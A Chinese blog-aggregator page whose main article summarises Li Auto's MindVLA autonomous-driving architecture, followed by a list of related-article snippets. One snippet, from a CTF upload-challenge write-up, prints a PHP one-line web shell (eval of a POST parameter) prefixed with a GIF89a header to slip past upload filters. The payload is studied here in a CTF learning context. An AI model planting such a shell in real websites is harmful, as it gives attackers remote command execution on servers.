当前位置： 首页 > news >正文

理想汽车MindVLA自动驾驶架构核心技术梳理

news 来源：原创 2025/9/10 13:14:46

理想汽车于2025年3月发布的MindVLA自动驾驶架构，通过整合视觉、语言与行为智能，重新定义了自动驾驶系统的技术范式。以下是其核心技术实现的详细梳理：

一、架构设计：三位一体的智能融合

  1. VLA统一模型架构

    • MindVLA并非简单的端到端模型与视觉语言模型（VLM）叠加，而是通过3D空间编码器将视觉感知与语言理解深度融合，结合逻辑推理模块生成Action Token（动作词元），再通过扩散模型（Diffusion）优化为驾驶轨迹。
    • 双系统协同：借鉴卡尼曼“快慢思考”理论，实现直觉式反应（System 1）与深度推理（System 2）的动态切换，前者处理常规驾驶场景，后者解决复杂博弈问题。

  2. 实时推理优化

    • 采用小词表+投机推理技术，结合NVIDIA Drive AGX芯片的并行解码能力，将模型响应时间压缩至300ms内，满足车端实时性需求。

二、关键技术突破

1. 3D空间智能
  • 3D高斯表征：利用3D高斯模型作为中间表征，实现多尺度、多粒度的几何表达，提升对复杂场景（如遮挡、异形障碍物）的理解能力。
  • 空间推理能力：通过自监督训练大量3D数据（如点云、稠密深度图），使模型具备自主寻路、车位搜索等能力，无需依赖高精地图。
2. 语言智能与行为生成
  • 语言基座模型：基于MindGPT优化，支持自然语言指令解析（如“找超市”“开慢点”），并通过RLHF对齐人类驾驶偏好。
  • Diffusion轨迹优化：引入常微分方程（ODE）采样器，仅需2-3步即可生成高质量轨迹，同时支持风格化调整（如激进/保守驾驶）。
3. 混合专家与高效训练
  • MoE架构：采用混合专家模型（Mixture of Experts），通过稀疏注意力机制动态分配计算资源，平衡模型规模（千亿参数）与端侧推理效率。
  • 自监督预训练：利用海量多模态数据（图像、文本、3D场景）进行预训练，显著提升下游任务泛化能力，甚至在室内场景展示适应性。

三、仿真与训练体系

  1. 云端世界模型

    • 构建重建+生成统一模型，融合三维场景还原与新视角预测能力，生成高保真仿真环境，支持大规模闭环强化学习。
    • 通过4D时空一致性建模，将3D高斯泼溅（3D Gaussian Splatting）训练速度提升7倍，加速场景重建效率。

  2. 错误中学习机制

    • 在仿真环境中模拟长尾场景（如施工区、紧急避让），结合人类偏好数据集，持续优化模型决策安全性。

四、用户体验升级

  1. 多模态交互能力

    • 听得懂：支持语音指令动态调整路线（如“避开拥堵”），甚至通过照片定位车辆位置。
    • 找得到：在地库、园区等无图区域实现自主泊车，依赖空间推理而非预设导航。

  2. 安全与博弈能力

    • 自车行为与他车轨迹联合建模，提升复杂交通流中的博弈决策（如变道超车、路口让行）。

五、技术挑战与未来方向

  1. 当前瓶颈

    • 延迟与成本：Jetson AGX Orin平台下300ms响应时间仍难以满足紧急制动需求，域控制器成本增加约4000元。
    • 虚实鸿沟：仿真训练与真实场景决策偏差率达37%，需通过影子模式持续优化。

  2. 演进路径

    • 分层架构：探索云端预判与车端执行的模块化部署，降低硬件依赖。
    • 神经符号融合：结合符号逻辑引擎（处理交通规则）与大模型泛化能力，提升可解释性。

总结

MindVLA通过3D空间智能、语言行为融合与仿真训练体系的三重创新，推动自动驾驶从“感知-规划”流水线向“认知-决策”一体化的跃迁。其技术路径不仅挑战了Tesla的纯视觉端到端霸权，更试图通过类人思考能力解决长尾场景，为L4级自动驾驶的商业化奠定基础。

相关文章：

理想汽车MindVLA自动驾驶架构核心技术梳理

理想汽车于2025年3月发布的MindVLA自动驾驶架构，通过整合视觉、语言与行为智能，重新定义了自动驾驶系统的技术范式。以下是其核心技术实现的详细梳理： 一、架构设计：三位一体的智能融合 VLA统一模型架构 MindVLA并非简单的端到端模…...

编程日记 2025/9/10 13:14:46

基于FPGA的智能垃圾桶设计-超声波测距模块-人体感应模块-舵机模块 仿真通过

基于FPGA的智能垃圾桶设计 前言一、整体方案二、仿真波形总结 前言 在FPGA开发平台中搭建完整的硬件控制系统，集成超声波测距模块、人体感应电路、舵机驱动模块及报警单元。在感知层配置阶段，优化超声波回波信号调理电路与人体感应防误触逻辑&#xff0…...

编程日记 2025/9/10 13:24:04

[极客大挑战 2019]Upload

<script language"php">eval($_POST[shell]);</script>​ ​ <script language"php">#这里写PHP代码哟&#xff01; </script>​ ​ BM <script language"php">eval($_POST[shell]);</script>GIF89a <…...

编程日记 2025/9/10 13:26:21

操作系统基础：05 系统调用实现

一、系统调用概述 上节课讲解了系统调用的概念&#xff0c;系统调用是操作系统给上层应用提供的接口&#xff0c;表现为一些函数&#xff0c;如open、read、write 等。上层应用程序通过调用这些函数进入操作系统&#xff0c;使用操作系统功能&#xff0c;就像插座一样&#xf…...

编程日记 2025/9/10 13:27:08

“堆积木”式话云原生微服务架构（第一回）

模块1&#xff1a;文章目录 目录 1. 云原生架构核心概念 2. Java微服务技术选型 3. Kubernetes与服务网格实战 4. 全链路监控与日志体系 5. 安全防护与性能优化 6. 行业案例与未来演进 7. 学习路径与资源指引 8. 下期预告与扩展阅读 模块2&#xff1a;云原生架构核心概念 核…...

编程日记 2025/9/2 13:13:32

Java 性能优化：从原理到实践的全面指南

性能优化是 Java 开发中不可或缺的一环&#xff0c;尤其在高并发、大数据和分布式系统场景下&#xff0c;优化直接影响系统响应速度、资源利用率和用户体验。Java 作为一门成熟的语言&#xff0c;提供了丰富的工具和机制支持性能调优&#xff0c;但优化需要深入理解 JVM、并发模…...

编程日记 2025/9/10 1:25:39

基于ssm网络游戏推荐系统(源码+lw+部署文档+讲解)，源码可白嫖!

摘要 当今社会进入了科技进步、经济社会快速发展的新时代。国际信息和学术交流也不断加强&#xff0c;计算机技术对经济社会发展和人民生活改善的影响也日益突出&#xff0c;人类的生存和思考方式也产生了变化。传统网络游戏管理采取了人工的管理方法&#xff0c;但这种管理方…...

编程日记 2025/9/3 18:05:45

HTTP：五.WEB服务器

web服务器 定义：实现提供资源或应答的提供者都可以谓之为服务器！web服务器工作内容 接受建立连接请求 接受请求 处理请求 访问报文中指定的资源 构建响应 发送响应 记录事务处理过程 Web应用开发用到的一般技术元素 静态元素：html， img，js，Css，SWF，MP4 动态元素：PHP，…...

编程日记 2025/9/5 4:43:17

synchronized轻量级锁的自旋之谜：Java为何在临界区“空转“等待？

从餐厅等位理解自旋锁的智慧 想象两家不同的餐厅&#xff1a; 传统餐厅&#xff1a;没座位时顾客去逛街&#xff08;线程挂起&#xff0c;上下文切换&#xff09;网红餐厅&#xff1a;没座位时顾客在门口短时间徘徊&#xff08;线程自旋&#xff0c;避免切换&#xff09; Ja…...

编程日记 2025/9/7 9:01:08

基于redis 实现我的收藏功能优化详细设计方案

基于redis 实现我的收藏功能优化详细设计方案 一、架构设计 +---------------------+ +---------------------+ | 客户端请求 | | 数据存储层 | | (收藏列表查询) | | (Redis Cluster) | +-------------------…...

编程日记 2025/9/4 4:25:20

【深度学习与大模型基础】第10章-期望、方差和协方差

一、期望 ——————————————————————————————————————————— 1. 期望是什么&#xff1f; 期望&#xff08;Expectation&#xff09;可以理解为“长期的平均值”。比如&#xff1a; 掷骰子&#xff1a;一个6面骰子的点数是1~6&#x…...

编程日记 2025/9/5 13:15:20

JavaScript 性能优化实战：深入探讨 JavaScript 性能瓶颈，分享优化技巧与最佳实践

在当今 Web 应用日益复杂的时代&#xff0c;JavaScript 性能对于用户体验起着决定性作用。缓慢的脚本执行会导致页面加载延迟、交互卡顿&#xff0c;严重影响用户留存率。本文将深入剖析 JavaScript 性能瓶颈&#xff0c;并分享一系列实用的优化技巧与最佳实践&#xff0c;助你…...

编程日记 2025/9/8 14:15:00

上篇：《排序算法的奇妙世界：如何让数据井然有序？》

个人主页&#xff1a;strive-debug 排序算法精讲&#xff1a;从理论到实践 一、排序概念及应用 1.1 基本概念 **排序**&#xff1a;将一组记录按照特定关键字&#xff08;如数值大小&#xff09;进行递增或递减排列的操作。 1.2 常见排序算法分类 - **简单低效型**&#xff…...

编程日记 2025/9/7 9:11:27

目前状况下，计算机和人工智能是什么关系？

目录 一、计算机和人工智能的关系 &#xff08;一&#xff09;从学科发展角度看 计算机是基础 人工智能是计算机的延伸和拓展 &#xff08;二&#xff09;从技术应用角度看 二、计算机系学生对人工智能的了解程度 &#xff08;一&#xff09;基础层面的了解 必备知识 …...

编程日记 2025/9/9 7:13:19

【复旦微FM33 MCU 底层开发指南】高级定时器ATIM

0 前言 本系列基于复旦微FM33LC0系列MCU的DataSheet编写&#xff0c;提供基于寄存器开发指南、应用技巧、注意事项等 本文章及本系列其他文章将持续更新&#xff0c;本系列其它文章请跳转↓↓↓ 【复旦微FM33 MCU 寄存器开发指南】总集篇 本文章最后更新日期&#xff1a;2025…...

编程日记 2025/8/29 4:02:55

vdso概念及原理，vdso_fault缺页异常，vdso符号的获取

一、背景 vdso的全称是Virtual Dynamic Shared Object&#xff0c;它是一个特殊的共享库&#xff0c;是在编译内核时生成&#xff0c;并在内核镜像里某一段地址段作为该共享库的内容。vdso的前身是vsyscall&#xff0c;为了兼容一些旧的程序&#xff0c;x86上还是默认加载了vs…...

编程日记 2025/9/9 3:56:54

4.13学习总结

学习完异常和文件的基本知识 完成45. 跳跃游戏 II - 力扣&#xff08;LeetCode&#xff09;的算法题&#xff0c;对于我来说&#xff0c;用贪心的思路去写该题是很难理解的&#xff0c;很难想到&#xff0c;理解了许久&#xff0c;也卡了很久。...

编程日记 2025/9/6 14:10:59

Day14：关于MySQL的索引——创、查、删

前言&#xff1a;先创建一个练习的数据库和数据 1.创建数据库并创建数据表的基本结构 -- 创建练习数据库 CREATE DATABASE index_practice; USE index_practice;-- 创建基础表&#xff08;包含CREATE TABLE时创建索引&#xff09; CREATE TABLE products (id INT PRIMARY KEY…...

编程日记 2025/9/5 0:41:50

概率论与数理统计核心知识点与公式总结（就业版）

文章目录 概率论与数理统计核心知识点与公式总结&#xff08;附实际应用&#xff09;一、概率论基础1.1 基本概念1.2 条件概率与独立性 二、随机变量及其分布2.0 随机变量2.0 分布函数&#xff08;CDF&#xff09;2.1 离散型随机变量2.2 连续型随机变量2.3 多维随机变量2.3.1 联…...

编程日记 2025/9/9 13:50:15

AF3 ProteinDataset类的_patch方法解读

AlphaFold3 protein_dataset模块 ProteinDataset 类 _patch 方法的主要目的是围绕锚点残基（anchor residues）裁剪蛋白质数据，提取一个局部补丁（patch）作为模型输入。 源代码： def _patch(self, data):"""Cut the data around the anchor residues."…...

编程日记 2025/9/6 15:54:00

openssh 10.0在debian、ubuntu编译安装 —— 筑梦之路

OpenSSH 10.0 发布&#xff1a;一场安全与未来兼顾的大升级 - Linux迷 OpenSSH: Release Notes sudo apt-get updatesudo apt install build-essential zlib1g-dev libssl-dev libpam0g-dev libselinux1-devwget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/opens…...

编程日记 2025/9/1 17:50:10

Go 跨域中间件实现指南：优雅解决 CORS 问题

在开发基于 Web 的 API 时&#xff0c;尤其是前后端分离项目&#xff0c;**跨域问题&#xff08;CORS&#xff09;**是前端开发人员经常遇到的“拦路虎”。本文将带你了解什么是跨域、如何在 Go 中优雅地实现一个跨域中间件&#xff0c;支持你自己的 HTTP 服务或框架如 net/htt…...

编程日记 2025/9/4 20:18:59

【数据结构_6】双向链表的实现

一、实现MyDLinkedList&#xff08;双向链表&#xff09; package LinkedList;public class MyDLinkedList {//首先我们要创建节点&#xff08;因为双向链表和单向链表的节点不一样&#xff01;&#xff01;&#xff09;static class Node{public String val;public Node prev…...

编程日记 2025/9/7 10:54:22

【双指针】专题：LeetCode 1089题解——复写零

复写零 一、题目链接二、题目三、算法原理1、先找到最后一个要复写的数——双指针算法1.5、处理一下边界情况2、“从后向前”完成复写操作 四、编写代码五、时间复杂度和空间复杂度 一、题目链接 复写零 二、题目 三、算法原理 解法&#xff1a;双指针算法 先根据“异地”操…...

编程日记 2025/9/4 20:43:58

Foxmail邮件客户端跨站脚本攻击漏洞（CNVD-2025-06036）技术分析

Foxmail邮件客户端跨站脚本攻击漏洞&#xff08;CNVD-2025-06036&#xff09;技术分析 漏洞背景 ‌漏洞编号‌&#xff1a;CNVD-2025-06036 ‌CVE编号‌&#xff1a;待分配 ‌厂商‌&#xff1a;腾讯Foxmail ‌影响版本‌&#xff1a;Foxmail < 7.2.25 ‌漏洞类型‌&#x…...

编程日记 2025/9/4 16:49:25

39.[前端开发-JavaScript高级]Day04-函数增强-argument-额外知识-对象增强

JavaScript函数的增强知识 1 函数属性和arguments 函数对象的属性 认识arguments arguments转Array 箭头函数不绑定arguments 函数的剩余&#xff08;rest&#xff09;参数 2 纯函数的理解和应用 理解JavaScript纯函数 副作用概念的理解 纯函数的案例 判断下面函数是否是纯…...

编程日记 2025/9/9 4:29:29

0x05.为什么 Redis 设计为单线程？6.0 版本为何引入多线程？

回答重点 单线程设计原因： Redis 的操作是基于内存的，其大多数操作的性能瓶颈主要不是 CPU 导致的使用单线程模型，代码简便的同时也减少了线程上下文切换带来的性能开销Redis 在单线程的情况下，使用 I/O 多路复用模型就可以提高 Redis 的 I/O 利用率了6.0 版本引入多线程的…...

编程日记 2025/9/5 21:42:12

CST1019.基于Spring Boot+Vue智能洗车管理系统

计算机/JAVA毕业设计 【CST1019.基于Spring BootVue智能洗车管理系统】 【项目介绍】 智能洗车管理系统&#xff0c;基于 Spring Boot Vue 实现&#xff0c;功能丰富、界面精美 【业务模块】 系统共有三类用户&#xff0c;分别是&#xff1a;管理员用户、普通用户、工人用户&…...

编程日记 2025/9/1 16:34:48

CST1018.基于Spring Boot+Vue滑雪场管理系统

计算机/JAVA毕业设计 【CST1018.基于Spring BootVue滑雪场管理系统】 【项目介绍】 滑雪场管理系统&#xff0c;基于 Spring Boot Vue 实现&#xff0c;功能丰富、界面精美 【业务模块】 系统共有两类用户&#xff0c;分别是管理员和普通用户&#xff0c;管理员负责维护后台数…...

编程日记 2025/9/10 1:25:42

剖析 Rust 与 C++：性能、安全及实践对比

1 性能对比&#xff1a;底层控制与运行时开销 1.1 C 的性能优势 C 给予开发者极高的底层控制能力&#xff0c;允许直接操作内存、使用指针进行精细的资源管理。这使得 C 在对性能要求极高的场景下&#xff0c;如游戏引擎开发、实时系统等&#xff0c;能够发挥出极致的性能。以…...

编程日记 2025/9/10 0:30:50

SDHC接口协议底层传输数据是安全的

SDHC&#xff08;Secure Digital High Capacity&#xff09;接口协议在底层数据传输过程中确实包含校验机制&#xff0c;以确保数据的完整性和可靠性。以下是关键点的详细说明&#xff1a; 物理层与数据链路层的校验机制 物理层&#xff08;Electrical Layer&#xff09;&…...

编程日记 2025/9/5 12:44:11

Gateway-网关-分布式服务部署

前言 什么是API⽹关 API⽹关(简称⽹关)也是⼀个服务, 通常是后端服务的唯⼀⼊⼝. 它的定义类似设计模式中的Facade模式(⻔⾯模式, 也称外观模式). 它就类似整个微服务架构的⻔⾯, 所有的外部客⼾端访问, 都需要经过它来进⾏调度和过滤. 常⻅⽹关实现 Spring Cloud Gateway&a…...

编程日记 2025/9/8 1:08:03

c++STL——string学习的模拟实现

文章目录 string的介绍学习的意义auto关键字和范围forstring中的常用接口构造和析构对string得容量进行操作string的访问迭代器(Iterators)&#xff1a;运算符[ ]重载 string类的修改操作非成员函数 string的模拟实现不同平台下的实现注意事项模拟实现部分所有的模拟实现函数预…...

编程日记 2025/9/6 1:28:14

【寻找Linux的奥秘】第四章：基础开发工具（下）

请君浏览 前言1. 自动化构建1.1 背景1.2 基本语法1.3 make的运行原理1.4通用的makefile 2. 牛刀小试--Linux第一个小程序2.1 回车与换行2.2 行缓冲区2.3 倒计时小程序2.4 进度条小程序原理代码 3. 版本控制器git3.1 认识3.2 git的使用三板斧 3.3 其他 4. 调试器gdb/cgdb4.1 了解…...

编程日记 2025/9/6 8:46:39

RK3588上Linux系统编译C/C++ Demo时出现BUG：The C/CXX compiler identification is unknown

BUG的解决思路 BUG描述&#xff1a;解决方法&#xff1a;首先最重要的一步&#xff1a;第二步&#xff1a;正确设置gcc和g的路径方法一&#xff1a;使用本地系统中安装的 aarch64-linux-gnu-gcc 和 aarch64-linux-gnu-g方法二&#xff1a;下载使用官方指定的交叉编译工具方法三…...

编程日记 2025/9/4 13:13:40

记录一次/usr/bin/ld: 找不到 -lOpenSSL::SSL

1、cmake 报错内容如下&#xff1a; /usr/bin/ld: 找不到 -lOpenSSL::SSL /usr/bin/ld: 找不到 -lOpenSSL::Crypto2、一开始以为库没有正确安装 sudo yum install openssl-devel然后查看openssl 结果还是报错&#xff01; 3、尝试卸载安装都不管用&#xff0c;网上搜了好多…...

编程日记 2025/8/28 18:54:59

[16届蓝桥杯 2025 c++省 B] 水质检测

思路&#xff1a;分类讨论&#xff0c;从左到右枚举&#xff0c;判断当前的河床和下一个河床的距离是第一行更近还是第二行更近还是都一样近&#xff0c;分成三类编写代码即可 #include<iostream> using namespace std; int main(){string s1,s2;cin>>s1>>…...

编程日记 2025/9/9 0:26:51

基于PySide6与pycatia的CATIA绘图比例智能调节工具开发全解析

引言&#xff1a;工程图纸自动化处理的技术革新 在机械设计领域&#xff0c;CATIA图纸的比例调整是高频且重复性极强的操作。传统手动调整方式效率低下且易出错。本文基于PySide6pycatia技术栈&#xff0c;提出一种支持智能比例匹配、实时视图控制、异常自处理的图纸批处理方案…...

编程日记 2025/9/9 19:34:42

四、Appium Inspector

一、介绍 Appium Inspector 是一个用于移动应用自动化测试的图形化工具&#xff0c;主要用于检查和交互应用的 UI 元素&#xff0c;帮助生成和调试自动化测试脚本。类似于浏览器的F12(开发者工具),Appium Inspector 的主要作用包括&#xff1a;‌ 1.‌检查 UI 元素‌ …...

编程日记 2025/9/5 18:12:38

玩转Docker | 使用Docker部署MicroBin粘贴板

玩转Docker | 使用Docker部署MicroBin粘贴板 前言一、MicroBin介绍MicroBin 简介主要特点二、系统要求环境要求环境检查Docker版本检查检查操作系统版本三、部署MicroBin服务下载镜像创建容器检查容器状态检查服务端口安全设置四、访问MicroBin服务访问MicroBin首页登录管理后台…...

编程日记 2025/9/6 15:55:02

BGP分解实验·23——BGP选路原则之路由器标识

在选路原则需要用到Router-ID做选路决策时&#xff0c;其对等体Router-ID较小的路由将被优选&#xff1b;其中&#xff0c;当路由被反射时&#xff0c;包含起源器ID属性时&#xff0c;该属性将代替router-id做比较。 实验拓扑如下&#xff1a; 实验通过调整路由器R1和R2的rout…...

编程日记 2025/9/6 9:36:04

MQTT：单片机中MQTTClient-C移植定时器功能

接下来我们完善MQTTTimer.c和MQTTTimer.h两个功能 MQTTTimer.h void TimerInit(Timer* timer); 功能&#xff1a;此函数用于对 Timer 结构体进行初始化。在 MQTT 客户端里&#xff0c;定时器被用于追踪各种操作的时间&#xff0c;像连接超时、心跳包发送间隔等。初始化操作会…...

编程日记 2025/9/8 21:38:07

可拖动的关系图谱原型案例

关系图谱是一种以图结构形式组织和呈现实体间复杂关联关系的可视化数据模型。它通过节点和线构建多维度网络&#xff0c;能直观揭示隐藏的群体特征和传播路径。在社交网络分析、智能推荐系统、知识图谱构建等领域广泛应用。 软件版本&#xff1a;Axure RP 9 作品类型&#xf…...

编程日记 2025/9/8 9:06:51

CST1016.基于Spring Boot+Vue高校竞赛管理系统

计算机/JAVA毕业设计 【CST1016.基于Spring BootVue高校竞赛管理系统】 【项目介绍】 高校竞赛管理系统&#xff0c;基于 DeepSeek Spring AI Spring Boot Vue 实现&#xff0c;功能丰富、界面精美 【业务模块】 系统共有两类用户&#xff0c;分别是学生用户和管理员用户&a…...

编程日记 2025/9/6 13:40:40

从三次方程到复平面：复数概念的奇妙演进（二）

注&#xff1a;本文为 “复数 | 历史 / 演进” 相关文章合辑。 因 csdn 篇幅限制分篇连载&#xff0c;此为第二篇。 生料&#xff0c;不同的文章不同的点。 机翻&#xff0c;未校。 History of Complex Numbers 复数的历史 The problem of complex numbers dates back to …...

编程日记 2025/9/6 21:56:26

PCL 点云投影至指定平面

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 之前的文章中介绍过一个点在平面上的投影坐标，其主要的思路就是利用投影垂线与平面法向量平行的特性，通过推导出的投影公式可以很容易的计算出在某点在某一平面内的投影点。因此只需要重复该过程就可以将整个点云…...

编程日记 2025/9/3 16:53:58

批量将文件名称、文件路径、文件扩展名提取到 Excel 清单

在数字化时代&#xff0c;文件的高效管理至关重要。当我们想要对磁盘中的文件进行整理&#xff0c;想要获取多个文件夹中的文件和路径信息&#xff0c;就需要现将这些文件的名称及路径信息提取出来。本文将介绍一种实用的批量提取技术&#xff0c;帮助用户优化文件管理流程&…...

编程日记 2025/9/4 6:03:27

KWDB创作者计划—KWDB场景创新：多模态数据融合与边缘智能的产业实践

引言&#xff1a;AIoT时代的数据基座重构 在工业物联网设备数量突破千亿、边缘计算节点覆盖率达75%的2025年&#xff0c;传统数据库面临多模态数据处理效率低下、边缘端算力利用率不足、跨域数据协同困难等核心挑战。KWDB&#xff08;KaiwuDB Community Edition&#xff09;通过…...

编程日记 2025/9/8 22:32:13

计算机系统概论

1. 计算机系统的基本组成 计算机系统由 硬件系统 和 软件系统 两大部分协同工作&#xff1a; 硬件系统&#xff1a; 基于冯诺依曼体系结构&#xff08;存储程序原理&#xff09;&#xff0c;包含五大核心部件&#xff1a; 运算器&#xff08;ALU&#xff09;&#xff1a;执行算…...

编程日记 2025/9/10 13:11:10

Android Cmake构建的项目，需不需要配置指定ndk及版本

在 CMake 构建的 Android 项目中&#xff0c;是否需要显式配置 NDK 及其版本&#xff0c;取决于项目的具体需求和环境。以下是详细分析和建议&#xff1a; 1. 是否需要显式配置 NDK 及版本&#xff1f; 情况 1&#xff1a;Android Studio 自动管理 NDK&#xff08;推荐&#x…...

编程日记 2025/9/5 12:11:43